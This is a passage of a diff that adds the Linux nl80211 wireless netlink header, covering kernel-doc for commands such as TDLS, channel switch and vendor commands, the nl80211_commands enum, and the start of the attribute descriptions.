+ * %NL80211_TDLS_TEARDOWN).
+ * @NL80211_CMD_TDLS_MGMT: Send a TDLS management frame. The
+ * %NL80211_ATTR_TDLS_ACTION attribute determines the type of frame to be
+ * sent. Public Action codes (802.11-2012 8.1.5.1) will be sent as
+ * 802.11 management frames, while TDLS action codes (802.11-2012
+ * 8.5.13.1) will be encapsulated and sent as data frames. The currently
+ * supported Public Action code is %WLAN_PUB_ACTION_TDLS_DISCOVER_RES
+ * and the currently supported TDLS actions codes are given in
+ * &enum ieee80211_tdls_actioncode.
+ *
+ * @NL80211_CMD_UNEXPECTED_FRAME: Used by an application controlling an AP
+ * (or GO) interface (i.e. hostapd) to ask for unexpected frames to
+ * implement sending deauth to stations that send unexpected class 3
+ * frames. Also used as the event sent by the kernel when such a frame
+ * is received.
+ * For the event, the %NL80211_ATTR_MAC attribute carries the TA and
+ * other attributes like the interface index are present.
+ * If used as the command it must have an interface index and you can
+ * only unsubscribe from the event by closing the socket. Subscription
+ * is also for %NL80211_CMD_UNEXPECTED_4ADDR_FRAME events.
+ *
+ * @NL80211_CMD_UNEXPECTED_4ADDR_FRAME: Sent as an event indicating that the
+ * associated station identified by %NL80211_ATTR_MAC sent a 4addr frame
+ * and wasn't already in a 4-addr VLAN. The event will be sent similarly
+ * to the %NL80211_CMD_UNEXPECTED_FRAME event, to the same listener.
+ *
+ * @NL80211_CMD_PROBE_CLIENT: Probe an associated station on an AP interface
+ * by sending a null data frame to it and reporting when the frame is
+ * acknowleged. This is used to allow timing out inactive clients. Uses
+ * %NL80211_ATTR_IFINDEX and %NL80211_ATTR_MAC. The command returns a
+ * direct reply with an %NL80211_ATTR_COOKIE that is later used to match
+ * up the event with the request. The event includes the same data and
+ * has %NL80211_ATTR_ACK set if the frame was ACKed.
+ *
+ * @NL80211_CMD_REGISTER_BEACONS: Register this socket to receive beacons from
+ * other BSSes when any interfaces are in AP mode. This helps implement
+ * OLBC handling in hostapd. Beacons are reported in %NL80211_CMD_FRAME
+ * messages. Note that per PHY only one application may register.
+ *
+ * @NL80211_CMD_SET_NOACK_MAP: sets a bitmap for the individual TIDs whether
+ * No Acknowledgement Policy should be applied.
+ *
+ * @NL80211_CMD_CH_SWITCH_NOTIFY: An AP or GO may decide to switch channels
+ * independently of the userspace SME, send this event indicating
+ * %NL80211_ATTR_IFINDEX is now on %NL80211_ATTR_WIPHY_FREQ and the
+ * attributes determining channel width.
+ *
+ * @NL80211_CMD_CH_SWITCH_STARTED_NOTIFY: Notify that a channel switch
+ * has been started on an interface, regardless of the initiator
+ * (ie. whether it was requested from a remote device or
+ * initiated on our own). It indicates that
+ * %NL80211_ATTR_IFINDEX will be on %NL80211_ATTR_WIPHY_FREQ
+ * after %NL80211_ATTR_CH_SWITCH_COUNT TBTT's. The userspace may
+ * decide to react to this indication by requesting other
+ * interfaces to change channel as well.
+ *
+ * @NL80211_CMD_START_P2P_DEVICE: Start the given P2P Device, identified by
+ * its %NL80211_ATTR_WDEV identifier. It must have been created with
+ * %NL80211_CMD_NEW_INTERFACE previously. After it has been started, the
+ * P2P Device can be used for P2P operations, e.g. remain-on-channel and
+ * public action frame TX.
+ * @NL80211_CMD_STOP_P2P_DEVICE: Stop the given P2P Device, identified by
+ * its %NL80211_ATTR_WDEV identifier.
+ *
+ * @NL80211_CMD_CONN_FAILED: connection request to an AP failed; used to
+ * notify userspace that AP has rejected the connection request from a
+ * station, due to particular reason. %NL80211_ATTR_CONN_FAILED_REASON
+ * is used for this.
+ *
+ * @NL80211_CMD_SET_MCAST_RATE: Change the rate used to send multicast frames
+ * for IBSS or MESH vif.
+ *
+ * @NL80211_CMD_SET_MAC_ACL: sets ACL for MAC address based access control.
+ * This is to be used with the drivers advertising the support of MAC
+ * address based access control. List of MAC addresses is passed in
+ * %NL80211_ATTR_MAC_ADDRS and ACL policy is passed in
+ * %NL80211_ATTR_ACL_POLICY. Driver will enable ACL with this list, if it
+ * is not already done. The new list will replace any existing list. Driver
+ * will clear its ACL when the list of MAC addresses passed is empty. This
+ * command is used in AP/P2P GO mode. Driver has to make sure to clear its
+ * ACL list during %NL80211_CMD_STOP_AP.
+ *
+ * @NL80211_CMD_RADAR_DETECT: Start a Channel availability check (CAC). Once
+ * a radar is detected or the channel availability scan (CAC) has finished
+ * or was aborted, or a radar was detected, usermode will be notified with
+ * this event. This command is also used to notify userspace about radars
+ * while operating on this channel.
+ * %NL80211_ATTR_RADAR_EVENT is used to inform about the type of the
+ * event.
+ *
+ * @NL80211_CMD_GET_PROTOCOL_FEATURES: Get global nl80211 protocol features,
+ * i.e. features for the nl80211 protocol rather than device features.
+ * Returns the features in the %NL80211_ATTR_PROTOCOL_FEATURES bitmap.
+ *
+ * @NL80211_CMD_UPDATE_FT_IES: Pass down the most up-to-date Fast Transition
+ * Information Element to the WLAN driver
+ *
+ * @NL80211_CMD_FT_EVENT: Send a Fast transition event from the WLAN driver
+ * to the supplicant. This will carry the target AP's MAC address along
+ * with the relevant Information Elements. This event is used to report
+ * received FT IEs (MDIE, FTIE, RSN IE, TIE, RICIE).
+ *
+ * @NL80211_CMD_CRIT_PROTOCOL_START: Indicates user-space will start running
+ * a critical protocol that needs more reliability in the connection to
+ * complete.
+ *
+ * @NL80211_CMD_CRIT_PROTOCOL_STOP: Indicates the connection reliability can
+ * return back to normal.
+ *
+ * @NL80211_CMD_GET_COALESCE: Get currently supported coalesce rules.
+ * @NL80211_CMD_SET_COALESCE: Configure coalesce rules or clear existing rules.
+ *
+ * @NL80211_CMD_CHANNEL_SWITCH: Perform a channel switch by announcing the
+ * the new channel information (Channel Switch Announcement - CSA)
+ * in the beacon for some time (as defined in the
+ * %NL80211_ATTR_CH_SWITCH_COUNT parameter) and then change to the
+ * new channel. Userspace provides the new channel information (using
+ * %NL80211_ATTR_WIPHY_FREQ and the attributes determining channel
+ * width). %NL80211_ATTR_CH_SWITCH_BLOCK_TX may be supplied to inform
+ * other station that transmission must be blocked until the channel
+ * switch is complete.
+ *
+ * @NL80211_CMD_VENDOR: Vendor-specified command/event. The command is specified
+ * by the %NL80211_ATTR_VENDOR_ID attribute and a sub-command in
+ * %NL80211_ATTR_VENDOR_SUBCMD. Parameter(s) can be transported in
+ * %NL80211_ATTR_VENDOR_DATA.
+ * For feature advertisement, the %NL80211_ATTR_VENDOR_DATA attribute is
+ * used in the wiphy data as a nested attribute containing descriptions
+ * (&struct nl80211_vendor_cmd_info) of the supported vendor commands.
+ * This may also be sent as an event with the same attributes.
+ *
+ * @NL80211_CMD_SET_QOS_MAP: Set Interworking QoS mapping for IP DSCP values.
+ * The QoS mapping information is included in %NL80211_ATTR_QOS_MAP. If
+ * that attribute is not included, QoS mapping is disabled. Since this
+ * QoS mapping is relevant for IP packets, it is only valid during an
+ * association. This is cleared on disassociation and AP restart.
+ *
+ * @NL80211_CMD_ADD_TX_TS: Ask the kernel to add a traffic stream for the given
+ * %NL80211_ATTR_TSID and %NL80211_ATTR_MAC with %NL80211_ATTR_USER_PRIO
+ * and %NL80211_ATTR_ADMITTED_TIME parameters.
+ * Note that the action frame handshake with the AP shall be handled by
+ * userspace via the normal management RX/TX framework, this only sets
+ * up the TX TS in the driver/device.
+ * If the admitted time attribute is not added then the request just checks
+ * if a subsequent setup could be successful, the intent is to use this to
+ * avoid setting up a session with the AP when local restrictions would
+ * make that impossible. However, the subsequent "real" setup may still
+ * fail even if the check was successful.
+ * @NL80211_CMD_DEL_TX_TS: Remove an existing TS with the %NL80211_ATTR_TSID
+ * and %NL80211_ATTR_MAC parameters. It isn't necessary to call this
+ * before removing a station entry entirely, or before disassociating
+ * or similar, cleanup will happen in the driver/device in this case.
+ *
+ * @NL80211_CMD_GET_MPP: Get mesh path attributes for mesh proxy path to
+ * destination %NL80211_ATTR_MAC on the interface identified by
+ * %NL80211_ATTR_IFINDEX.
+ *
+ * @NL80211_CMD_JOIN_OCB: Join the OCB network. The center frequency and
+ * bandwidth of a channel must be given.
+ * @NL80211_CMD_LEAVE_OCB: Leave the OCB network -- no special arguments, the
+ * network is determined by the network interface.
+ *
+ * @NL80211_CMD_TDLS_CHANNEL_SWITCH: Start channel-switching with a TDLS peer,
+ * identified by the %NL80211_ATTR_MAC parameter. A target channel is
+ * provided via %NL80211_ATTR_WIPHY_FREQ and other attributes determining
+ * channel width/type. The target operating class is given via
+ * %NL80211_ATTR_OPER_CLASS.
+ * The driver is responsible for continually initiating channel-switching
+ * operations and returning to the base channel for communication with the
+ * AP.
+ * @NL80211_CMD_TDLS_CANCEL_CHANNEL_SWITCH: Stop channel-switching with a TDLS
+ * peer given by %NL80211_ATTR_MAC. Both peers must be on the base channel
+ * when this command completes.
+ *
+ * @NL80211_CMD_WIPHY_REG_CHANGE: Similar to %NL80211_CMD_REG_CHANGE, but used
+ * as an event to indicate changes for devices with wiphy-specific regdom
+ * management.
+ *
+ * @NL80211_CMD_ABORT_SCAN: Stop an ongoing scan. Returns -ENOENT if a scan is
+ * not running. The driver indicates the status of the scan through
+ * cfg80211_scan_done().
+ *
+ * @NL80211_CMD_MAX: highest used command number
+ * @__NL80211_CMD_AFTER_LAST: internal use
+ */
+enum nl80211_commands {
+ /* don't change the order or add anything between, this is ABI! */
+ NL80211_CMD_UNSPEC,
+
+ NL80211_CMD_GET_WIPHY, /* can dump */
+ NL80211_CMD_SET_WIPHY,
+ NL80211_CMD_NEW_WIPHY,
+ NL80211_CMD_DEL_WIPHY,
+
+ NL80211_CMD_GET_INTERFACE, /* can dump */
+ NL80211_CMD_SET_INTERFACE,
+ NL80211_CMD_NEW_INTERFACE,
+ NL80211_CMD_DEL_INTERFACE,
+
+ NL80211_CMD_GET_KEY,
+ NL80211_CMD_SET_KEY,
+ NL80211_CMD_NEW_KEY,
+ NL80211_CMD_DEL_KEY,
+
+ NL80211_CMD_GET_BEACON,
+ NL80211_CMD_SET_BEACON,
+ NL80211_CMD_START_AP,
+ NL80211_CMD_NEW_BEACON = NL80211_CMD_START_AP,
+ NL80211_CMD_STOP_AP,
+ NL80211_CMD_DEL_BEACON = NL80211_CMD_STOP_AP,
+
+ NL80211_CMD_GET_STATION,
+ NL80211_CMD_SET_STATION,
+ NL80211_CMD_NEW_STATION,
+ NL80211_CMD_DEL_STATION,
+
+ NL80211_CMD_GET_MPATH,
+ NL80211_CMD_SET_MPATH,
+ NL80211_CMD_NEW_MPATH,
+ NL80211_CMD_DEL_MPATH,
+
+ NL80211_CMD_SET_BSS,
+
+ NL80211_CMD_SET_REG,
+ NL80211_CMD_REQ_SET_REG,
+
+ NL80211_CMD_GET_MESH_CONFIG,
+ NL80211_CMD_SET_MESH_CONFIG,
+
+ NL80211_CMD_SET_MGMT_EXTRA_IE /* reserved; not used */,
+
+ NL80211_CMD_GET_REG,
+
+ NL80211_CMD_GET_SCAN,
+ NL80211_CMD_TRIGGER_SCAN,
+ NL80211_CMD_NEW_SCAN_RESULTS,
+ NL80211_CMD_SCAN_ABORTED,
+
+ NL80211_CMD_REG_CHANGE,
+
+ NL80211_CMD_AUTHENTICATE,
+ NL80211_CMD_ASSOCIATE,
+ NL80211_CMD_DEAUTHENTICATE,
+ NL80211_CMD_DISASSOCIATE,
+
+ NL80211_CMD_MICHAEL_MIC_FAILURE,
+
+ NL80211_CMD_REG_BEACON_HINT,
+
+ NL80211_CMD_JOIN_IBSS,
+ NL80211_CMD_LEAVE_IBSS,
+
+ NL80211_CMD_TESTMODE,
+
+ NL80211_CMD_CONNECT,
+ NL80211_CMD_ROAM,
+ NL80211_CMD_DISCONNECT,
+
+ NL80211_CMD_SET_WIPHY_NETNS,
+
+ NL80211_CMD_GET_SURVEY,
+ NL80211_CMD_NEW_SURVEY_RESULTS,
+
+ NL80211_CMD_SET_PMKSA,
+ NL80211_CMD_DEL_PMKSA,
+ NL80211_CMD_FLUSH_PMKSA,
+
+ NL80211_CMD_REMAIN_ON_CHANNEL,
+ NL80211_CMD_CANCEL_REMAIN_ON_CHANNEL,
+
+ NL80211_CMD_SET_TX_BITRATE_MASK,
+
+ NL80211_CMD_REGISTER_FRAME,
+ NL80211_CMD_REGISTER_ACTION = NL80211_CMD_REGISTER_FRAME,
+ NL80211_CMD_FRAME,
+ NL80211_CMD_ACTION = NL80211_CMD_FRAME,
+ NL80211_CMD_FRAME_TX_STATUS,
+ NL80211_CMD_ACTION_TX_STATUS = NL80211_CMD_FRAME_TX_STATUS,
+
+ NL80211_CMD_SET_POWER_SAVE,
+ NL80211_CMD_GET_POWER_SAVE,
+
+ NL80211_CMD_SET_CQM,
+ NL80211_CMD_NOTIFY_CQM,
+
+ NL80211_CMD_SET_CHANNEL,
+ NL80211_CMD_SET_WDS_PEER,
+
+ NL80211_CMD_FRAME_WAIT_CANCEL,
+
+ NL80211_CMD_JOIN_MESH,
+ NL80211_CMD_LEAVE_MESH,
+
+ NL80211_CMD_UNPROT_DEAUTHENTICATE,
+ NL80211_CMD_UNPROT_DISASSOCIATE,
+
+ NL80211_CMD_NEW_PEER_CANDIDATE,
+
+ NL80211_CMD_GET_WOWLAN,
+ NL80211_CMD_SET_WOWLAN,
+
+ NL80211_CMD_START_SCHED_SCAN,
+ NL80211_CMD_STOP_SCHED_SCAN,
+ NL80211_CMD_SCHED_SCAN_RESULTS,
+ NL80211_CMD_SCHED_SCAN_STOPPED,
+
+ NL80211_CMD_SET_REKEY_OFFLOAD,
+
+ NL80211_CMD_PMKSA_CANDIDATE,
+
+ NL80211_CMD_TDLS_OPER,
+ NL80211_CMD_TDLS_MGMT,
+
+ NL80211_CMD_UNEXPECTED_FRAME,
+
+ NL80211_CMD_PROBE_CLIENT,
+
+ NL80211_CMD_REGISTER_BEACONS,
+
+ NL80211_CMD_UNEXPECTED_4ADDR_FRAME,
+
+ NL80211_CMD_SET_NOACK_MAP,
+
+ NL80211_CMD_CH_SWITCH_NOTIFY,
+
+ NL80211_CMD_START_P2P_DEVICE,
+ NL80211_CMD_STOP_P2P_DEVICE,
+
+ NL80211_CMD_CONN_FAILED,
+
+ NL80211_CMD_SET_MCAST_RATE,
+
+ NL80211_CMD_SET_MAC_ACL,
+
+ NL80211_CMD_RADAR_DETECT,
+
+ NL80211_CMD_GET_PROTOCOL_FEATURES,
+
+ NL80211_CMD_UPDATE_FT_IES,
+ NL80211_CMD_FT_EVENT,
+
+ NL80211_CMD_CRIT_PROTOCOL_START,
+ NL80211_CMD_CRIT_PROTOCOL_STOP,
+
+ NL80211_CMD_GET_COALESCE,
+ NL80211_CMD_SET_COALESCE,
+
+ NL80211_CMD_CHANNEL_SWITCH,
+
+ NL80211_CMD_VENDOR,
+
+ NL80211_CMD_SET_QOS_MAP,
+
+ NL80211_CMD_ADD_TX_TS,
+ NL80211_CMD_DEL_TX_TS,
+
+ NL80211_CMD_GET_MPP,
+
+ NL80211_CMD_JOIN_OCB,
+ NL80211_CMD_LEAVE_OCB,
+
+ NL80211_CMD_CH_SWITCH_STARTED_NOTIFY,
+
+ NL80211_CMD_TDLS_CHANNEL_SWITCH,
+ NL80211_CMD_TDLS_CANCEL_CHANNEL_SWITCH,
+
+ NL80211_CMD_WIPHY_REG_CHANGE,
+
+ NL80211_CMD_ABORT_SCAN,
+
+ /* add new commands above here */
+
+ /* used to define NL80211_CMD_MAX below */
+ __NL80211_CMD_AFTER_LAST,
+ NL80211_CMD_MAX = __NL80211_CMD_AFTER_LAST - 1
+};
+
+/*
+ * Allow user space programs to use #ifdef on new commands by defining them
+ * here
+ */
+#define NL80211_CMD_SET_BSS NL80211_CMD_SET_BSS
+#define NL80211_CMD_SET_MGMT_EXTRA_IE NL80211_CMD_SET_MGMT_EXTRA_IE
+#define NL80211_CMD_REG_CHANGE NL80211_CMD_REG_CHANGE
+#define NL80211_CMD_AUTHENTICATE NL80211_CMD_AUTHENTICATE
+#define NL80211_CMD_ASSOCIATE NL80211_CMD_ASSOCIATE
+#define NL80211_CMD_DEAUTHENTICATE NL80211_CMD_DEAUTHENTICATE
+#define NL80211_CMD_DISASSOCIATE NL80211_CMD_DISASSOCIATE
+#define NL80211_CMD_REG_BEACON_HINT NL80211_CMD_REG_BEACON_HINT
+
+#define NL80211_ATTR_FEATURE_FLAGS NL80211_ATTR_FEATURE_FLAGS
+
+/* source-level API compatibility */
+#define NL80211_CMD_GET_MESH_PARAMS NL80211_CMD_GET_MESH_CONFIG
+#define NL80211_CMD_SET_MESH_PARAMS NL80211_CMD_SET_MESH_CONFIG
+#define NL80211_MESH_SETUP_VENDOR_PATH_SEL_IE NL80211_MESH_SETUP_IE
+
+/**
+ * enum nl80211_attrs - nl80211 netlink attributes
+ *
+ * @NL80211_ATTR_UNSPEC: unspecified attribute to catch errors
+ *
+ * @NL80211_ATTR_WIPHY: index of wiphy to operate on, cf.
+ * /sys/class/ieee80211/<phyname>/index
+ * @NL80211_ATTR_WIPHY_NAME: wiphy name (used for renaming)
+ * @NL80211_ATTR_WIPHY_TXQ_PARAMS: a nested array of TX queue parameters
+ * @NL80211_ATTR_WIPHY_FREQ: frequency of the selected channel in MHz,
+ * defines the channel together with the (deprecated)
+ * %NL80211_ATTR_WIPHY_CHANNEL_TYPE attribute or the attributes
+ * %NL80211_ATTR_CHANNEL_WIDTH and if needed %NL80211_ATTR_CENTER_FREQ1
+ * and %NL80211_ATTR_CENTER_FREQ2
+ * @NL80211_ATTR_CHANNEL_WIDTH: u32 attribute containing one of the values
+ * of &enum nl80211_chan_width, describing the channel width. See the
+ * documentation of the enum for more information.
+ * @NL80211_ATTR_CENTER_FREQ1: Center frequency of the first part of the
+ * channel, used for anything but 20 MHz bandwidth
+ * @NL80211_ATTR_CENTER_FREQ2: Center frequency of the second part of the
+ * channel, used only for 80+80 MHz bandwidth
+ * @NL80211_ATTR_WIPHY_CHANNEL_TYPE: included with NL80211_ATTR_WIPHY_FREQ
+ * if HT20 or HT40 are to be used (i.e., HT disabled if not included):
+ * NL80211_CHAN_NO_HT = HT not allowed (i.e., same as not including
+ * this attribute)
+ * NL80211_CHAN_HT20 = HT20 only
+ * NL80211_CHAN_HT40MINUS = secondary channel is below the primary channel
+ * NL80211_CHAN_HT40PLUS = secondary channel is above the primary channel
+ * This attribute is now deprecated.
+ * @NL80211_ATTR_WIPHY_RETRY_SHORT: TX retry limit for frames whose length is
+ * less than or equal to the RTS threshold; allowed range: 1..255;
+ * dot11ShortRetryLimit; u8
+ * @NL80211_ATTR_WIPHY_RETRY_LONG: TX retry limit for frames whose length is
+ * greater than the RTS threshold; allowed range: 1..255;
+ * dot11ShortLongLimit; u8
+ * @NL80211_ATTR_WIPHY_FRAG_THRESHOLD: fragmentation threshold, i.e., maximum
+ * length in octets for frames; allowed range: 256..8000, disable
+ * fragmentation with (u32)-1; dot11FragmentationThreshold; u32
+ * @NL80211_ATTR_WIPHY_RTS_THRESHOLD: RTS threshold (TX frames with length
+ * larger than or equal to this use RTS/CTS handshake); allowed range:
+ * 0..65536, disable with (u32)-1; dot11RTSThreshold; u32
+ * @NL80211_ATTR_WIPHY_COVERAGE_CLASS: Coverage Class as defined by IEEE 802.11
+ * section 7.3.2.9; dot11CoverageClass; u8
+ *
+ * @NL80211_ATTR_IFINDEX: network interface index of the device to operate on
+ * @NL80211_ATTR_IFNAME: network interface name
+ * @NL80211_ATTR_IFTYPE: type of virtual interface, see &enum nl80211_iftype
+ *
+ * @NL80211_ATTR_WDEV: wireless device identifier, used for pseudo-devices
+ * that don't have a netdev (u64)
+ *
+ * @NL80211_ATTR_MAC: MAC address (various uses)
+ *
+ * @NL80211_ATTR_KEY_DATA: (temporal) key data; for TKIP this consists of
+ * 16 bytes encryption key followed by 8 bytes each for TX and RX MIC
+ * keys
+ * @NL80211_ATTR_KEY_IDX: key ID (u8, 0-3)
+ * @NL80211_ATTR_KEY_CIPHER: key cipher suite (u32, as defined by IEEE 802.11
+ * section 7.3.2.25.1, e.g. 0x000FAC04)
+ * @NL80211_ATTR_KEY_SEQ: transmit key sequence number (IV/PN) for TKIP and
+ * CCMP keys, each six bytes in little endian
+ * @NL80211_ATTR_KEY_DEFAULT: Flag attribute indicating the key is default key
+ * @NL80211_ATTR_KEY_DEFAULT_MGMT: Flag attribute indicating the key is the
+ * default management key
+ * @NL80211_ATTR_CIPHER_SUITES_PAIRWISE: For crypto settings for connect or
+ * other commands, indicates which pairwise cipher suites are used
+ * @NL80211_ATTR_CIPHER_SUITE_GROUP: For crypto settings for connect or
+ * other commands, indicates which group cipher suite is used
+ *
+ * @NL80211_ATTR_BEACON_INTERVAL: beacon interval in TU
+ * @NL80211_ATTR_DTIM_PERIOD: DTIM period for beaconing
+ * @NL80211_ATTR_BEACON_HEAD: portion of the beacon before the TIM IE
+ * @NL80211_ATTR_BEACON_TAIL: portion of the beacon after the TIM IE
+ *
+ * @NL80211_ATTR_STA_AID: Association ID for the station (u16)
+ * @NL80211_ATTR_STA_FLAGS: flags, nested element with NLA_FLAG attributes of
+ * &enum nl80211_sta_flags (deprecated, use %NL80211_ATTR_STA_FLAGS2)
+ * @NL80211_ATTR_STA_LISTEN_INTERVAL: listen interval as defined by
+ * IEEE 802.11 7.3.1.6 (u16).
+ * @NL80211_ATTR_STA_SUPPORTED_RATES: supported rates, array of supported
+ * rates as defined by IEEE 802.11 7.3.2.2 but without the length
+ * restriction (at most %NL80211_MAX_SUPP_RATES).
+ * @NL80211_ATTR_STA_VLAN: interface index of VLAN interface to move station
+ * to, or the AP interface the station was originally added to to.
+ * @NL80211_ATTR_STA_INFO: information about a station, part of station info
+ * given for %NL80211_CMD_GET_STATION, nested attribute containing
+ * info as possible, see &enum nl80211_sta_info.
+ *
+ * @NL80211_ATTR_WIPHY_BANDS: Information about an operating bands,
+ * consisting of a nested array.
+ *
+ * @NL80211_ATTR_MESH_ID: mesh id (1-32 bytes).
+ * @NL80211_ATTR_STA_PLINK_ACTION: action to perform on the mesh peer link
+ * (see &enum nl80211_plink_action).
+ * @NL80211_ATTR_MPATH_NEXT_HOP: MAC address of the next hop for a mesh path.
+ * @NL80211_ATTR_MPATH_INFO: information about a mesh_path, part of mesh path
+ * info given for %NL80211_CMD_GET_MPATH, nested attribute described at
+ * &enum nl80211_mpath_info.
+ *
+ * @NL80211_ATTR_MNTR_FLAGS: flags, nested element with NLA_FLAG attributes of
+ * &enum nl80211_mntr_flags.
+ *
+ * @NL80211_ATTR_REG_ALPHA2: an ISO-3166-alpha2 country code for which the
+ * current regulatory domain should be set to or is already set to.
+ * For example, 'CR', for Costa Rica. This attribute is used by the kernel
+ * to query the CRDA to retrieve one regulatory domain. This attribute can
+ * also be used by userspace to query the kernel for the currently set
+ * regulatory domain. We chose an alpha2 as that is also used by the
+ * IEEE-802.11 country information element to identify a country.
+ * Users can also simply ask the wireless core to set regulatory domain
+ * to a specific alpha2.
+ * @NL80211_ATTR_REG_RULES: a nested array of regulatory domain regulatory
+ * rules.
+ *
+ * @NL80211_ATTR_BSS_CTS_PROT: whether CTS protection is enabled (u8, 0 or 1)
+ * @NL80211_ATTR_BSS_SHORT_PREAMBLE: whether short preamble is enabled
+ * (u8, 0 or 1)
+ * @NL80211_ATTR_BSS_SHORT_SLOT_TIME: whether short slot time enabled
+ * (u8, 0 or 1)
+ * @NL80211_ATTR_BSS_BASIC_RATES: basic rates, array of basic
+ * rates in format defined by IEEE 802.11 7.3.2.2 but without the length
+ * restriction (at most %NL80211_MAX_SUPP_RATES).
+ *
+ * @NL80211_ATTR_HT_CAPABILITY: HT Capability information element (from
+ * association request when used with NL80211_CMD_NEW_STATION)
+ *
+ * @NL80211_ATTR_SUPPORTED_IFTYPES: nested attribute containing all
+ * supported interface types, each a flag attribute with the number
+ * of the interface mode.
+ *
+ * @NL80211_ATTR_MGMT_SUBTYPE: Management frame subtype for
+ * %NL80211_CMD_SET_MGMT_EXTRA_IE.
+ *
+ * @NL80211_ATTR_IE: Information element(s) data (used, e.g., with
+ * %NL80211_CMD_SET_MGMT_EXTRA_IE).
+ *
+ * @NL80211_ATTR_MAX_NUM_SCAN_SSIDS: number of SSIDs you can scan with
+ * a single scan request, a wiphy attribute.
+ * @NL80211_ATTR_MAX_NUM_SCHED_SCAN_SSIDS: number of SSIDs you can
+ * scan with a single scheduled scan request, a wiphy attribute.
+ * @NL80211_ATTR_MAX_SCAN_IE_LEN: maximum length of information elements
+ * that can be added to a scan request
+ * @NL80211_ATTR_MAX_SCHED_SCAN_IE_LEN: maximum length of information
+ * elements that can be added to a scheduled scan request
+ * @NL80211_ATTR_MAX_MATCH_SETS: maximum number of sets that can be
+ * used with @NL80211_ATTR_SCHED_SCAN_MATCH, a wiphy attribute.
+ *
+ * @NL80211_ATTR_SCAN_FREQUENCIES: nested attribute with frequencies (in MHz)
+ * @NL80211_ATTR_SCAN_SSIDS: nested attribute with SSIDs, leave out for passive
+ * scanning and include a zero-length SSID (wildcard) for wildcard scan
+ * @NL80211_ATTR_BSS: scan result BSS
+ *
+ * @NL80211_ATTR_REG_INITIATOR: indicates who requested the regulatory domain
+ * currently in effect. This could be any of the %NL80211_REGDOM_SET_BY_*
+ * @NL80211_ATTR_REG_TYPE: indicates the type of the regulatory domain currently
+ * set. This can be one of the nl80211_reg_type (%NL80211_REGDOM_TYPE_*)
+ *
+ * @NL80211_ATTR_SUPPORTED_COMMANDS: wiphy attribute that specifies
+ * an array of command numbers (i.e. a mapping index to command number)
+ * that the driver for the given wiphy supports.
+ *
+ * @NL80211_ATTR_FRAME: frame data (binary attribute), including frame header
+ * and body, but not FCS; used, e.g., with NL80211_CMD_AUTHENTICATE and
+ * NL80211_CMD_ASSOCIATE events
+ * @NL80211_ATTR_SSID: SSID (binary attribute, 0..32 octets)
+ * @NL80211_ATTR_AUTH_TYPE: AuthenticationType, see &enum nl80211_auth_type,
+ * represented as a u32
+ * @NL80211_ATTR_REASON_CODE: ReasonCode for %NL80211_CMD_DEAUTHENTICATE and
+ * %NL80211_CMD_DISASSOCIATE, u16
+ *
+ * @NL80211_ATTR_KEY_TYPE: Key Type, see &enum nl80211_key_type, represented as
+ * a u32
+ *
+ * @NL80211_ATTR_FREQ_BEFORE: A channel which has suffered a regulatory change
+ * due to considerations from a beacon hint. This attribute reflects
+ * the state of the channel _before_ the beacon hint processing. This
+ * attributes consists of a nested attribute containing
+ * NL80211_FREQUENCY_ATTR_*
+ * @NL80211_ATTR_FREQ_AFTER: A channel which has suffered a regulatory change
+ * due to considerations from a beacon hint. This attribute reflects
+ * the state of the channel _after_ the beacon hint processing. This
+ * attributes consists of a nested attribute containing
+ * NL80211_FREQUENCY_ATTR_*
+ *
+ * @NL80211_ATTR_CIPHER_SUITES: a set of u32 values indicating the supported
+ * cipher suites
+ *
+ * @NL80211_ATTR_FREQ_FIXED: a flag indicating the IBSS should not try to look
+ * for other networks on different channels
+ *
+ * @NL80211_ATTR_TIMED_OUT: a flag indicating than an operation timed out; this
+ * is used, e.g., with %NL80211_CMD_AUTHENTICATE event
+ *
+ * @NL80211_ATTR_USE_MFP: Whether management frame protection (IEEE 802.11w) is
+ * used for the association (&enum nl80211_mfp, represented as a u32);
+ * this attribute can be used
+ * with %NL80211_CMD_ASSOCIATE and %NL80211_CMD_CONNECT requests
+ *
+ * @NL80211_ATTR_STA_FLAGS2: Attribute containing a
+ * &struct nl80211_sta_flag_update.
+ *
+ * @NL80211_ATTR_CONTROL_PORT: A flag indicating whether user space controls
+ * IEEE 802.1X port, i.e., sets/clears %NL80211_STA_FLAG_AUTHORIZED, in
+ * station mode. If the flag is included in %NL80211_CMD_ASSOCIATE
+ * request, the driver will assume that the port is unauthorized until
+ * authorized by user space. Otherwise, port is marked authorized by
+ * default in station mode.
+ * @NL80211_ATTR_CONTROL_PORT_ETHERTYPE: A 16-bit value indicating the
+ * ethertype that will be used for key negotiation. It can be
+ * specified with the associate and connect commands. If it is not
+ * specified, the value defaults to 0x888E (PAE, 802.1X). This
+ * attribute is also used as a flag in the wiphy information to
+ * indicate that protocols other than PAE are supported.
+ * @NL80211_ATTR_CONTROL_PORT_NO_ENCRYPT: When included along with
+ * %NL80211_ATTR_CONTROL_PORT_ETHERTYPE, indicates that the custom
+ * ethertype frames used for key negotiation must not be encrypted.
+ *
+ * @NL80211_ATTR_TESTDATA: Testmode data blob, passed through to the driver.
+ * We recommend using nested, driver-specific attributes within this.
+ *
+ * @NL80211_ATTR_DISCONNECTED_BY_AP: A flag indicating that the DISCONNECT
+ * event was due to the AP disconnecting the station, and not due to
+ * a local disconnect request.
+ * @NL80211_ATTR_STATUS_CODE: StatusCode for the %NL80211_CMD_CONNECT
+ * event (u16)
+ * @NL80211_ATTR_PRIVACY: Flag attribute, used with connect(), indicating
+ * that protected APs should be used. This is also used with NEW_BEACON to
+ * indicate that the BSS is to use protection.
+ *
+ * @NL80211_ATTR_CIPHERS_PAIRWISE: Used with CONNECT, ASSOCIATE, and NEW_BEACON
+ * to indicate which unicast key ciphers will be used with the connection
+ * (an array of u32).
+ * @NL80211_ATTR_CIPHER_GROUP: Used with CONNECT, ASSOCIATE, and NEW_BEACON to
+ * indicate which group key cipher will be used with the connection (a
+ * u32).
+ * @NL80211_ATTR_WPA_VERSIONS: Used with CONNECT, ASSOCIATE, and NEW_BEACON to
+ * indicate which WPA version(s) the AP we want to associate with is using
+ * (a u32 with flags from &enum nl80211_wpa_versions).
+ * @NL80211_ATTR_AKM_SUITES: Used with CONNECT, ASSOCIATE, and NEW_BEACON to
+ * indicate which key management algorithm(s) to use (an array of u32).
+ *
+ * @NL80211_ATTR_REQ_IE: (Re)association request information elements as
+ * sent out by the card, for ROAM and successful CONNECT events.
+ * @NL80211_ATTR_RESP_IE: (Re)association response information elements as
+ * sent by peer, for ROAM and successful CONNECT events.
+ *
+ * @NL80211_ATTR_PREV_BSSID: previous BSSID, to be used by in ASSOCIATE
